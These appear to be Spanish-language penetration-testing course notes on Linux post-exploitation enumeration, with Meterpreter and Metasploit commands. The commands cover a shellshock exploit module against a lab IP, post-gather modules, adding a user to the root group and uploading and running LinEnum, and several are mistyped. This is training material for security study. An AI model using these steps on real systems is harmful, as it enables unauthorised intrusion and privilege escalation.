Después de obtener acceso inicial a un sistema de destino, siempre es importante obtener más información sobre el sistema, como qué sistema operativo se está ejecutando y la versión del sistema operativo. Esta información es muy útil, ya que nos da una idea de lo que podemos hacer y qué tipo de exploits podemos ejecutar.
¿Qué estamos buscando?
Hostname
Distribution & distribution release version
Kernel version & architecture
CPU information
Disk information & mounted drives
Installed packages/software
Demo: Enumerating System Information
# Despues de expllotar el sistema Linux y/o tener un acceso al sistema
# Se aconseja tener una sesion interactiva
meterpreter > sysinfo
# SO, version de kernel, arquitecturta, version de interprete
# Hostname
hostname
# Distribucion
cat /etc/issue
cat /etc/*release
# Version de kernel
uname -a # tambien mostara la arquitectura
uname -r
# Variables del entorno
env
# Informacion de CPU
lscpu
# informacion modelo, hyperisor
# Informacion de la memeoria RAM
free -h
# Informacion del disco
df -h
df -ht ext4
# mostrar dispositivo d almacenamient
lsblk | grep sd
# Listar todos los paquetes instados con su version correspondeinte
dpkg -l
Quiz: Enumerating System Information
Enumerating Users & Groups
Después de obtener acceso inicial a un sistema de destino, siempre es importante obtener más información sobre el sistema, como por ejemplo, a qué cuenta de usuario tiene acceso y otras cuentas de usuario en el sistema.
What are we looking for?
Current user & privileges
Other users on the system
Groups
Demo: Enumerating Users & Groups
# Enumeracion de Usuario
meterpreter > getuid
# uid=0, significa que somos root
# Uusuario con el cual estoy logeado
whoami
# Los privilegios estan basados en grupo
groups root
# Listar usuarios del SO (todos)
cat /etc/passwd
# Las cuentas de usuario tienen /bin/bash al final de la linea
# a diferencia de una cuenta de servicio
# Para excluri las cuentas de servicio
cat /etc/passwd | grep -v /nologin
# root: Nombre del usuario.
# x: Indicador de que la contraseña está almacenada en un archivo separado, típicamente /etc/shadow.
# 0: UID (User ID) del usuario, que es el identificador único del usuario en el sistema. En este caso, el UID 0 generalmente corresponde al superusuario o administrador del sistema.
# 0: GID (Group ID) del usuario. En este caso, el GID 0 corresponde al grupo de administración del sistema.
# root: Descripción del usuario o nombre completo. Esto suele ser el nombre completo del usuario o una descripción, en este caso simplemente es "root".
# /root: Directorio home del usuario. Este es el directorio personal del usuario root.
# /bin/bash: Shell predeterminado del usuario. Aquí, bash es el intérprete de comandos que se usará cuando el usuario inicie sesión.
root:x:0:0:root:/root:/bin/bash
# Crear usuario sin directorio en home
useradd bob -s /bin/bash
# Crear usuario con directorio en home
useradd -m john -s /bin/bash
# Enumerar grupos en los cuales esta un usuario
groups bob
# Agregar usuario a un grupo
usermod -aG root bob
# usuarios conectados
w
who
# ultims usuarios que ingresaron
last
# La ultima vez que los usuarios iniciaron sesion
laslogon
Quiz: Enumerating Users & Groups
Enumerating Network Information
¿Qué estamos buscando?
Dirección IP actual y adaptador de red
Redes internas
Servicios TCP/UDP en ejecución y sus respectivos puertos
Otros hosts en la red
Demo: Enumerating Network Information
# Enumeracion de IPs en las interfaces
meterpreter > ifconfig
ip a s
# Conexiones
meterpreter > netstat
# Tabla de enrutamiento
meterpreter > route
# Lista de interfeaces
cat /etc/networks
# Hostname
cat /etc/host
# Configuracion de DNS
cat /etc/resolv. conf
# Tabla ARP para encontrar otros sistemas
# Existe la posibilidad de necesitar un upgrade
arp -a
Quia: Enumerating Network Information
Enumerating Processes & Cron Jobs
Después de obtener acceso inicial a un sistema de destino, siempre es importante aprender más sobre el sistema, como qué procesos, servicios y tareas programadas se están ejecutando actualmente.
¿Qué estamos buscando?
Running services
Cron Jobs
Demo: Enumerating Processes & Cron Jobs
# Despues de la explotacion y la escalada de privilegios por metas ploit
# Enumerar procesos
meterpreter > ps
meterpreter > pgrep vsftpd
# abarir bash shell
meterpreter > shell
# Tambien se puede ejecutar desde metasploit
msf5 exploit(unix/ftp/vsftpd 234 backdoor) > ps
msf5 exploit(unix/ftp/vsftpd 234 backdoor) > ps aux
msf5 exploit(unix/ftp/vsftpd 234 backdoor) > ps aux | grep msfconsole
# Procesos asociados a un usuario en especifico
msf5 exploit(unix/ftp/vsftpd 234 backdoor) > ps aux | grep root
# Lista de procesos que se estan ejecutando
msf5 exploit(unix/ftp/vsftpd 234 backdoor) > top
# Tareas programadas en cron jobs
msf5 exploit(unix/ftp/vsftpd 234 backdoor) > crontab -1
msf5 exploit(unix/ftp/vsftpd 234 backdoor) > ls -al /etc/cron*
# Tareas configuradas
msf5 exploit(unix/ftp/vsftpd 234 backdoor) > cat /etc/cron*
Quiz: Enumerating Processes & Cron Jobs
Automating Linux Local Enumeration
Además de realizar la enumeración local de forma manual, también podemos automatizar el proceso con la ayuda de algunos scripts y módulos MSF.
Si bien es importante conocer las técnicas y los comandos de enumeración local, como evaluador de penetración, deberá ser eficiente en el uso del tiempo. Como resultado, deberá aprender a utilizar varios scripts de enumeración automatizados.
Además de automatizar el proceso de enumeración de información como información del sistema, usuarios y grupos, etc., estos scripts de enumeración automatizados también le brindarán información adicional sobre el sistema de destino como vulnerabilidades de escalada de privilegios, contraseñas almacenadas localmente, etc.
Linux Local Enum Scripts
LinEnum: LinEnum es un script bash simple que automatiza las verificaciones de enumeración locales comunes de Linux, ademas de identificar vulnerabilidades de escalada de privilegios.
Demo: Automating Linux Local Enumeration
# Buscar la vulnerabildiad shellshock
# Explotar la vulnerabilidad
msf5 exploit(mutti/http/apache_mod_cgi_ash_env_exec) > show options
msf5 exploit(mutti/http/apache_mod_cgi_ash_env_exec) > set RHOSTS 192.182.85.3
msf5 exploit(mutti/http/apache_mod_cgi_ash_env_exec) > set TARGETURI /gettime.cgi
msf5 exploit(mutti/http/apache_mod_cgi_ash_env_exec) > exploit
# Enumeracion de configuraciones por metasploit
msf5 exploit(mutti/http/apache_mod_cgi_ash_env_exec) > search enum configs
msf5 exploit(mutti/http/apache_mod_cgi_ash_env_exec) > use 0
msf5 post(tinux/gather/enum_configs) > show options
msf5 post(tinux/gather/enum_configs) > set SESSION 1
msf5 post(tinux/gather/enum_configs) > run
# Enuemrar los shell instalados, version del SO, etc
# Enumeracion de red por metasploit
msf5 post(linux/gather/enum_configs) > search enum_network
msf5 post(linux/gather/enum_configs) > use 0
msf5 post (Linux/gather/enum_network) > show options
msf5 post (Linux/gather/enum_network) > set SESSION 1
msf5 post (Linux/gather/enum_network) > run
# Enumera las Interfaces, puertos, rutas etc.
# Enumeracion del sistema y del usuario usando metasploit
msf5 post (Linux/gather/enum_network) > search enum_system
msf5 post (Linux/gather/enum_network) > use 0
msf5 post (Linux/gather/enum_system) > set SESSION 1
msf5 post (Linux/gather/enum_system) > run
# Enumeracion de version linux, usuarios, paquetes instalados, cron jobs, etc
# Enumeracion para confirmar si es una maquina Virtual
msf5 post (Linux/gather/enum_system) > search checkvm
msf5 post (Linux/gather/enum_system) > use 0
msf5 post (Linux/gather/checkvm) > set SESSION 0
msf5 post (Linux/gather/checkvm) > run
# Enumeracion por SCRIPT
# Enviar el archivo LinEnum al objetivo
meterpreter > pwd
/opt/apache/htdocs
meterpreter > cd /tmp
meterpreter > ls
# Descargar el *.sh
https://github.com/rebootuser/LinEnum
# Transferir el archivo
meterpreter > upload /root/Desktop/LinEnum.sh
# Ingresar por shell
meterpreter > shell
/bin/bash -i
chmod +x LinEnum.sh
./LinEnum.sh
# Revisar detenidamente todos los archivos